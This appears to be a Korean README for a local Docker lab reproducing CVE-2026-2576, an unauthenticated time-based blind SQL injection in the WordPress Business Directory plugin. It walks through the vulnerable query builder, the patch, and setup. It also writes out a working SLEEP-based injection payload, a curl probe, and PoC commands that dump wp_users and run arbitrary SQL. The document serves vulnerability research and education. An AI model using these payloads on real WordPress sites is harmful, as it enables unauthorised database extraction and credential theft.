
CVE-2026-2576 — Business Directory 플러그인 SQLi PoC (로컬 설정). 인증되지 않은 시간 기반 블라인드 SQL 인젝션, WordPress용 Business Directory 플러그인 ≤ 6.4.21
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2026-2576 |
| 플러그인 | Business Directory Plugin – Easy Listing Directories for WordPress |
| 공급업체 | strategy11team |
| 영향 범위 | 6.4.21 이하 모든 버전 |
| 패치 버전 | 6.4.22 |
| 유형 | 시간 기반 블라인드 SQL 인젝션 (CWE-89) |
| 인증 | 없음 — 완전히 인증되지 않음 |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 배정 기관 | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| 공개일 | 2026년 2월 18일 |
Business Directory Plugin은 결제 지원 기능이 있는 목록형 디렉토리를 구축하기 위해 널리 사용되는 WordPress 플러그인입니다. 이 플러그인의 ORM 쿼리 빌더 결함으로 인해 인증되지 않은 공격자가 payment 쿼리 매개변수를 통해 시간 기반 블라인드 SQL 인젝션을 수행하여 데이터베이스 내용을 추론할 수 있습니다.
취약점은 ORM 쿼리 빌더에 있습니다:
파일: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ 취약 — 검증 없음, 직접 문자열 연결
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ 안전 — $wpdb->prepare() 사용
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
$v가 스칼라인 경우 코드는 $wpdb->prepare()를 올바르게 사용합니다. $v가 배열인 경우 안전하지 않은 분기로 들어가 이스케이프 없이 값을 SQL 문자열에 직접 연결합니다.
체크아웃 컨트롤러(includes/controllers/pages/class-checkout.php)는 payment 요청 매개변수를 읽어 ORM에 전달합니다:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id가 값으로 전달됨
);
}
PHP는 쿼리 문자열의 payment[]=value를 자동으로 배열 $_GET['payment'] = ['value']로 변환합니다. 이로 인해 filter_args()에서 $v가 배열이 되어 안전하지 않은 분기가 실행됩니다.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← [] 표기법으로 인해 배열
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → 안전하지 않은 분기
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
생성된 SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
-- -는 끝의 ')를 주석 처리합니다. IF()는 부울 오라클을 생성하며, 조건이 TRUE이면 SLEEP(N)이 실행되어 응답이 지연되고, FALSE이면 응답이 즉시 반환됩니다.
참고: ORM은 요청당 쿼리를 두 번 실행하므로(get()에서 한 번, maybe_execute_query()에서 한 번), SLEEP(1) 페이로드는 약 2초의 관찰 가능한 지연을, SLEEP(2)는 약 4초의 지연을 생성합니다.
인증되지 않은 공격자는 시간 기반 응답을 통해 데이터베이스 내용을 문자 단위로 추론하고 추출할 수 있습니다:
wp_users), 사용자 이름, 이메일 주소, 비밀번호 해시6.4.22 버전의 수정 사항은 filter_args()의 배열 분기에 검증을 추가합니다:
// 이전 (취약)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// 이후 (패치됨)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Python 종속성 설치:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
다음 메시지가 표시될 때까지 기다립니다:
╔══════════════════════════════════════════════════════════╗
║ Lab Setup Complete! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABLE) ║
║ BD Page ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# 예상 출력: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# http://localhost:8082 에서 접속 (root / rootpass)
모든 명령은 Kali 호스트의 랩 루트 디렉토리에서 실행합니다.
http://localhost:8080 사용 (호스트 → Docker 포트 매핑).
payment_key는 wp_wpbdp_payments의 기존 행과 일치해야 합니다.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
예상 출력: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| 플래그 | 기본값 | 설명 |
|---|---|---|
--sleep N | 1 | 오라클당 SLEEP(N). TRUE ≈ N×2s. 낮을수록 빠르지만 노이즈 증가 |
--threads N | 4 | 병렬 문자 위치. 최신 하드웨어에서는 8이 잘 작동 |
# 가장 빠른 추출
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# 기준선: 0.1초 미만으로 응답해야 함
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sleep 프로브: 약 4초 후 응답해야 함 (SLEEP(2) × 2회 실행)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
취약한 버전과 패치된 버전을 비교하려면:
python3 poc/patch_diff.py
# 전체 Diff 보기
python3 poc/patch_diff.py --full
# 두 버전 모두 다운로드
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# 취약한 파일 비교
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
Diff 결과는 filter_args()의 배열 분기에 esc_sql()이 추가된 것을 보여줍니다.
# 랩 중지 (데이터 보존)
docker compose stop
# 재시작
docker compose start
# 전체 삭제 — 모든 볼륨과 데이터 제거
docker compose down -v
# 처음부터 재설정
docker compose down -v && docker compose up setup
# WordPress 컨테이너 셸 접속
docker exec -it lab_wordpress bash
# WordPress PHP 오류 로그 보기
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# MySQL 쿼리 로그 실시간 모니터링
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() 문서 — https://developer.wordpress.org/reference/classes/wpdb/prepare/이 저장소는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 모든 테스트는 격리된 로컬 랩 환경에서 수행되었습니다. 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대해 이 도구를 실행하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 미국 컴퓨터 사기 및 남용법(CFAA) 및 기타 관할권의 동등한 법률에 따라 불법입니다.
저자는 이 자료의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 책임 있는 공개 관행을 따르십시오 — 이 연구를 기반으로 새로운 발견 사항이 있으면 게시 전에 공급업체와 조정하십시오.
Kali Linux의 격리된 Docker 랩에서 연구 및 개발되었습니다.